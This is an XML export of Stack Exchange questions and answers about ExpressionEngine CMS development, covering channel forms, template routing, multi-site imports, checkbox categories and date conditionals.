  <row Id="35137" PostTypeId="1" CreationDate="2015-12-27T20:26:15.530" Score="0" ViewCount="41" Body="&lt;p&gt;Trying to submit entries &quot;outside&quot; EE with the exp:channel:form, but when hitting the submit-button, it gives me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Using $this when not in object context in /hsphere/local/home/distortedkid/bigsouth.se/system/ee/legacy/libraries/Core.php on line 539&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form-code/markup on the site is pretty complex, but even when I dumb it down to the super-duper basic example given by the EE docs, I still get the error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en-US&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta charset=&quot;UTF-8&quot; /&amp;gt;&#xA;  &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;apple-mobile-web-app-capable&quot; content=&quot;yes&quot;&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&amp;gt;&#xA;  &amp;lt;title&amp;gt;Standup&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  {exp:channel:form channel=&quot;standup&quot; return=&quot;contact/thanks&quot; }&#xA;     &amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;  {/exp:channel:form}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling this issue hasn't really given me anything of value (or that I can understand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just updated form 2.7x to 3.0.6 flawlessly, if that could have anything to do with anything.&lt;/p&gt;&#xA;" OwnerUserId="6414" LastEditorUserId="6414" LastEditDate="2015-12-27T20:59:01.607" LastActivityDate="2015-12-27T20:59:01.607" Title="Fatal error when trying to submit exp:channel:form" Tags="|safecracker|error|ee3|fatal|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35138" PostTypeId="1" CreationDate="2015-12-27T20:59:03.223" Score="0" ViewCount="29" Body="&lt;p&gt;I need to have PHP on &quot;input&quot; instead of &quot;output&quot; (to feed some tags) so I can't use PHP to change the value of a tag. Is there either a built in function to handle this, or a way to make my own tag that can take another tag's value as input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot;}&#xA;    {image}&#xA;        &amp;lt;picture&amp;gt;&#xA;            &amp;lt;source srcset=&quot;{path}/_mobile/{filename}.{extension}&quot; media=&quot;...&quot; /&amp;gt;&#xA;            &amp;lt;source srcset=&quot;{path}{filename}.{extension}&quot; media=&quot;...&quot; /&amp;gt;&#xA;        &amp;lt;picture&amp;gt;&#xA;    {/image}&#xA;{exp:channel:entries channel=&quot;test&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the &lt;code&gt;{path}&lt;/code&gt; is absolute and I want it to be relative (to handle https vs http). How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="6699" LastActivityDate="2015-12-27T23:53:17.517" Title="How do I manipulate the value of a tag prior to final output?" Tags="|channel-entries|tags|formatting|image-manipulations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35139" PostTypeId="2" ParentId="35138" CreationDate="2015-12-27T23:53:17.517" Score="1" Body="&lt;p&gt;Well, of course there is a way. It depends on why you are going about it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I assume the &lt;code&gt;{path}&lt;/code&gt; variable can go to different domains (possibly a channel you'll duplicate over many MSM sites?) and is user entered, and isn't necessarily the domain of the application. If it were, you could just use &lt;code&gt;{site_url}&lt;/code&gt; or hard-code the path to your folder with those files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to handle it is to tell people &lt;strong&gt;not&lt;/strong&gt; to enter any protocol; the responding server will handle the protocol and redirect to HTTPS if that is the only protocol it wants to serve. You can put instructions to that field in your field settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you intending on letting your app serve both HTTP and HTTPS? It isn't good practice these days to do that at all. You should just be behind a certificate with a modern encryption-suite. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT... anyways, to do this, use a plugin. Sure, you could craft your own, but no need. Use CE String or Low Replace:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-string&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-replace&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both fine candidates. Look at their documentation, and it will allow you to do string manipulations on that &lt;code&gt;{path}&lt;/code&gt; variable. An example might be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{replace:plugin find=&quot;http://|https://&quot; replace=&quot;&quot;}{path}{/replace:plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-27T23:53:17.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35141" PostTypeId="1" AcceptedAnswerId="35329" CreationDate="2015-12-28T17:09:20.567" Score="1" ViewCount="44" Body="&lt;p&gt;I have a unique scenario in that I'd like to log into a single EE site but with a wildcard subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dev.example.com&#xA;staging.example.com&#xA;fishfood.example.com&#xA;anything.example.com&#xA;*.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to log into any one of these sites and stay logged into them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The examples I've seen involve knowing the number of domains for which to set the cookies, but in my case I can't anticipate every possible subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2015-12-28T22:18:43.467" LastActivityDate="2016-02-19T19:22:01.797" Title="log in to EE with wildcard subdomains" Tags="|members|cookies|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35142" PostTypeId="2" ParentId="35115" CreationDate="2015-12-28T17:13:56.853" Score="0" Body="&lt;p&gt;I'm sure this would be possible, but it would likely involve creating a shipping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could save custom order or item data when adding a product to the cart. And your shipping plugin would check if that data exists and return 0 if it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cartthrob.com/docs/developers/shipping_plugins/index.html&quot; rel=&quot;nofollow&quot;&gt;https://www.cartthrob.com/docs/developers/shipping_plugins/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2015-12-28T17:13:56.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35144" PostTypeId="1" CreationDate="2015-12-29T07:39:06.140" Score="0" ViewCount="168" Body="&lt;p&gt;&lt;strong&gt;scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to manage a multi language site without using any add-ons. I’m successful in managing all content from single channel, single field set &amp;amp; single template by using conditional statements.  I’m able to switch between two languages (English &amp;amp; Arabic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i want URL structure like &lt;a href=&quot;http://example.com/language_parameter/channel_name/module_name/param1/param2/param3&quot; rel=&quot;nofollow&quot;&gt;http://example.com/language_parameter/channel_name/module_name/param1/param2/param3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I failed to place language variable before channel name. I tried to alter htaccess file and few other hacks in core files but i couldn’t make the URL structure. Please guide me to achieve the desired URL structure &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve used stash to share variables (current language chosen) across templates and write conditional statements to decide what to show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my .htaccess is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        #RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        #RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        #RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;         # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /ee_file/index.php/en|ar/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost:81/ee_file/index.php/about&quot; rel=&quot;nofollow&quot;&gt;http://localhost:81/ee_file/index.php/about&lt;/a&gt; is able to retrieve &lt;code&gt;{home_video}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;iframe  src=&quot;{home_video}&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where as &lt;a href=&quot;http://localhost:81/ee_file/index.php/en/about&quot; rel=&quot;nofollow&quot;&gt;http://localhost:81/ee_file/index.php/en/about&lt;/a&gt; is not able to retrieve home's variable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't figure out how to use &lt;a href=&quot;https://docs.expressionengine.com/latest/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;template routes&lt;/a&gt; in placing language variable before channel name in url. &lt;/p&gt;&#xA;" OwnerUserId="6793" LastActivityDate="2016-06-10T15:00:13.940" Title="managing multi language site" Tags="|multi-language|routing|template-routes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35146" PostTypeId="1" AcceptedAnswerId="35192" CreationDate="2015-12-29T16:48:25.170" Score="0" ViewCount="60" Body="&lt;p&gt;I’m using datagrab 1.9.2 on EE 2.10.1 with MSM. I have an xml import that’s working fine overall, however, in some instances datagrab is selecting the wrong entry. Basically it’s grabbing an entry for site id 1 instead of site id 2, the site datagrab is importing on. Here are the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have site 1 &amp;amp; 2. Each site shares an entry titled Plan 2100 (same entry title, different content). The entry id of the Plan 2100 on site 1 is 7264 and for site 2 it’s 1466. I’m importing these entries into a matrix with a playa field (I attached a screenshot so you can see the setup). Everything is working perfectly except for these two entries that share the same entry title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears datagrab isn’t honoring the site id. When I run the import on site 1, it inerts the plan 2100 entry with the entry id for site 2—id 1466 instead of 7264. My thinking is datagrab should ignore the data for other site ids other than the site it’s running on. However, this doesn’t seem to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve looked in the database and this is how I discovered the wrong entry id was being selected upon import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go into the EE CP it looks like the correct entry is selected in the playa drop down, but it is fact the wrong entry id, and won’t display in the front end. If I reselect the entry title in the playa drop down and save, it works correctly and it chooses the correct entry id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've confirmed my playa field setup is limited to entries of the site I'm on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in a nutshell, it appears datagrab isn’t honoring the site id for some entries using a matrix/playa combo. Has anyone else experienced this problem and perhaps found a solution? Please let me know if you need further explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yHi97.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yHi97.png&quot; alt=&quot;Matrix with a playa field.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info added: Here are some screenshots from the database to help understand the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this screenshot I've retrieved all entries with an entry title of Plan 2100. There are two results, one for site_id 1 and one for site_id 2.:&#xA;&lt;a href=&quot;http://screencast.com/t/daZVAYOf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://screencast.com/t/daZVAYOf&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ipxzu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ipxzu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After importing the XML via datagrab, you can see the Plan 2100 from site_id 2 was incorrectly inserted into site 1. Then, in the CP, I re-selected Plan 2100 from the playa drop down and this resulted in the addition of the Plan 2100 from site_id 1 being added to the matrix:&#xA;&lt;a href=&quot;http://screencast.com/t/sGNNq0N0i&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://screencast.com/t/sGNNq0N0i&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pK2kD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pK2kD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="857" LastEditorUserId="857" LastEditDate="2015-12-29T17:36:03.100" LastActivityDate="2016-01-06T19:17:11.340" Title="Datagrab with MSM selecting wrong site entry on XML import" Tags="|multi-site-manager|datagrab|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35147" PostTypeId="1" AcceptedAnswerId="35148" CreationDate="2015-12-29T21:30:03.383" Score="0" ViewCount="19" Body="&lt;p&gt;I have searched for two hours, probably 200 different pages trying to find a list of other date variable options.  I know &quot;entry_date&quot; and &quot;current_time&quot; and want to find some kind of &quot;modification_date&quot; or SOMETHING like that...to display that instead of &quot;entry_date&quot;.  Does this exist?  I don't know what to call it, nor do I know how to search for it...I found the ExpressionEngine &quot;Date Variable Formatting&quot; but that's for the &lt;em&gt;format&lt;/em&gt; of the variable.  Not a list of the variables themselves.  Someone please help me.  I'm going nuts!  :-)&lt;/p&gt;&#xA;" OwnerUserId="6875" LastActivityDate="2015-12-29T23:34:45.213" Title="Can't find a list of possible date options" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35148" PostTypeId="2" ParentId="35147" CreationDate="2015-12-29T23:34:45.213" Score="0" Body="&lt;p&gt;The &lt;code&gt;exp:channel:entries&lt;/code&gt; tag has an &lt;code&gt;edit_date&lt;/code&gt; variable. &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_entries.html#edit-date&quot; rel=&quot;nofollow&quot;&gt;Here are the docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-12-29T23:34:45.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35149" PostTypeId="2" ParentId="35144" CreationDate="2015-12-30T05:26:12.187" Score="0" Body="&lt;p&gt;On setting &lt;a href=&quot;https://docs.expressionengine.com/latest/urls/template_routes.html#template-route&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Routes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xTuU4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xTuU4.png&quot; alt=&quot;Template Routes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though i couldn't apply any rules successfully, timely solution I found was to write conditionals like below in each template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;prize_categories&quot; }              &#xA;     {if &quot;{segment_1}&quot; == &quot;en&quot;}  {prize_en}&#xA;     {if:elseif &quot;{segment_1}&quot; == &quot;ar&quot;}  {prize_ar} &#xA;     {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrote a common template for header links like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/ee_file/index.php/{segment_1}/home&quot;&amp;gt; Home &amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;/ee_file/index.php/{segment_1}/about&quot;&amp;gt; About &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please suggest me any other better solution &lt;/p&gt;&#xA;" OwnerUserId="6793" LastActivityDate="2015-12-30T05:26:12.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35150" PostTypeId="2" ParentId="18662" CreationDate="2015-12-30T07:35:30.123" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Take a backup of your data including your database.&lt;/li&gt;&#xA;&lt;li&gt;Don't delete the installer folder (system/installer)&lt;/li&gt;&#xA;&lt;li&gt;Visit admin.php and follow the steps. It will upgrade the database.&lt;/li&gt;&#xA;&lt;li&gt;Delete the installer folder after the upgrade and you should be good!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-12-30T07:35:30.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35153" PostTypeId="1" AcceptedAnswerId="35163" CreationDate="2015-12-30T16:51:18.630" Score="0" ViewCount="205" Body="&lt;p&gt;I am (again)  struggling with how to keep the value in a Channel Form when showing category as checkboxes. There are quite a few posts here but I seem not to find the answer.&#xA;Please, who can help me here with a piece of code that really works.&#xA;This is my code, this does NOT keep the value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;5&quot;}&#xA;&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{category_name}&#xA;    &amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;{category_id}[]&quot; value=&quot;{category_id}&quot;{checked}&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;  {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks, and a Happy New Year&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-01-03T14:52:04.690" Title="EE2 Channel Form: How to keep value in checkbox category?" Tags="|categories|safecracker|channel|checkbox|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35157" PostTypeId="1" CreationDate="2015-12-31T04:26:02.877" Score="0" ViewCount="189" Body="&lt;p&gt;When I attempt to upload an image using Channel Images v. 6.0 with EE v. 3.0.6 I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The Local Temp dir is either not writable or does not exist&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the upload dir and the cache dir are set to 777. I reviewed some old posts and saw that safe_mode might be an issue, but safe_mode isn't even set in the php.ini at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="1393" LastActivityDate="2016-06-10T01:37:35.743" Title="Channel Images ver 6 upload error" Tags="|channel-images|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35158" PostTypeId="2" ParentId="35153" CreationDate="2015-12-31T06:43:04.973" Score="0" Body="&lt;p&gt;I am not sure what you mean with &quot;keep the value&quot; - The input type checkbox can have the attribute &quot;checked&quot; (resulting in a tick being displayed in the checkbox) - the value property does not set the tick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run the above code of yours and look at the output - what does EE put there? Where does &quot;{checked}&quot; come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have the checkbox in checked status you will have to include some sort of IF statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;{category_id}[]&quot; value=&quot;{category_id}&quot; {if condition}checked{/if} /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;===(Updated after comment)====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to allow the user to edit the Channel Entry &amp;lt;--&gt; Category relation without giving them full access to the Control Panel there are two approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Use the Channel Form (ex SafeCracker) &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_form/#categories&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/channel/channel_form/#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Customize the CP for your users: &lt;a href=&quot;https://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/zoo-flexible-admin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3534" LastEditorUserId="3534" LastEditDate="2015-12-31T17:18:47.010" LastActivityDate="2015-12-31T17:18:47.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35160" PostTypeId="2" ParentId="35157" CreationDate="2015-12-31T23:13:43.047" Score="0" Body="&lt;p&gt;You may have done this already, but have you checked your Channel Images setting in the channel field to make sure the correct directory is selected? You can also test the location from there as well.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2015-12-31T23:13:43.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35161" PostTypeId="2" ParentId="35153" CreationDate="2016-01-02T19:45:51.530" Score="0" Body="&lt;p&gt;Now that I understand what you are trying to achieve - Did you look at this Q&amp;amp;A?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20269/outputting-categories-as-checkboxes-expchannelform-safecracker&quot;&gt;Outputting categories as checkboxes - exp:channel:form / safecracker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3534" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-01-02T19:45:51.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35162" PostTypeId="1" CreationDate="2016-01-03T10:02:37.403" Score="0" ViewCount="66" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxGRH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxGRH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;I am Receiving &quot;Fatal error: Using $this when not in object context in /libraries/Core.php on line 575&quot; on sending FreeForm, i am using ee 2.10.1 and freeform 4.2.4 &lt;/p&gt;&#xA;" OwnerUserId="3753" LastActivityDate="2016-05-22T01:01:37.883" Title="Fatal Error When Sending Freeform" Tags="|solspace-freeform|error|core|fatal|act|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35163" PostTypeId="2" ParentId="35153" CreationDate="2016-01-03T14:52:04.690" Score="0" Body="&lt;p&gt;Finally got it right. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;legend&amp;gt;Välj en grupp&amp;lt;/legend&amp;gt;&#xA;      {categories group_id=&quot;5&quot;}&#xA;        &amp;lt;label class=&quot;checkbox&quot; for=&quot;{category_name}&quot;&amp;gt;{category_name}&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{category_name}&quot; value=&quot;{category_id}&quot;{checked}&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;      {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-01-03T14:52:04.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35164" PostTypeId="1" CreationDate="2016-01-04T11:33:11.323" Score="0" ViewCount="59" Body="&lt;p&gt;I am using the latest version of EE2 and DevDemons channel images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i duplicate a site, any channel entry with channel images or channel videos have lost the images &amp;amp; videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed when i duplicate a channel and its entries that the images and video links would be copied over also?  Or have i missunderstood?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6962" LastActivityDate="2016-06-10T04:48:54.107" Title="Channel images and Expressionengine MSM" Tags="|ee2|multi-site-manager|devdemon|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35165" PostTypeId="1" CreationDate="2016-01-04T11:37:56.370" Score="0" ViewCount="85" Body="&lt;p&gt;Just back to work from the Christmas break and for some reason when I try to upload images in the CK Finder File Manager I get a message saying &quot;Couldn't load plugin&quot;, this only seems to be in Opera though, when I try in Firefox it works fine. Has Opera stopped being supported or something like that?&lt;/p&gt;&#xA;" OwnerUserId="6932" LastActivityDate="2016-05-18T19:24:53.390" Title="CK Finder Upload Plugin not loading in Opera" Tags="|plugin|file-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35166" PostTypeId="1" CreationDate="2016-01-04T12:32:24.730" Score="0" ViewCount="137" Body="&lt;p&gt;Need help to get this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time} &amp;gt;= {exp:str_to_time date=&quot;November 6th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;January 7th, {current_time format='%Y'}&quot;}}&#xA;6 Jan&#xA;&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;January 6th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;February 21st, {current_time format='%Y'}&quot;}}&#xA;20 Feb&#xA;&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;February 20th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;March 28th, {current_time format='%Y'}&quot;}}&#xA;27 Mar&#xA;&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;March 27th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;May 16th, {current_time format='%Y'}&quot;}}&#xA;15 May&#xA;&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;May 15th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;August 4th, {current_time format='%Y'}&quot;}}&#xA;3 Aug&#xA;&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;August 3rd, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;September 12th, {current_time format='%Y'}&quot;}}&#xA;11 Sept&#xA;&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;September 11th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; {current_time} &amp;lt;= {exp:str_to_time date=&quot;November 7th, {current_time format='%Y'}&quot;}}&#xA;6 Nov&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="249" LastActivityDate="2016-06-04T16:48:04.360" Title="Help with date conditionals" Tags="|conditionals|date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
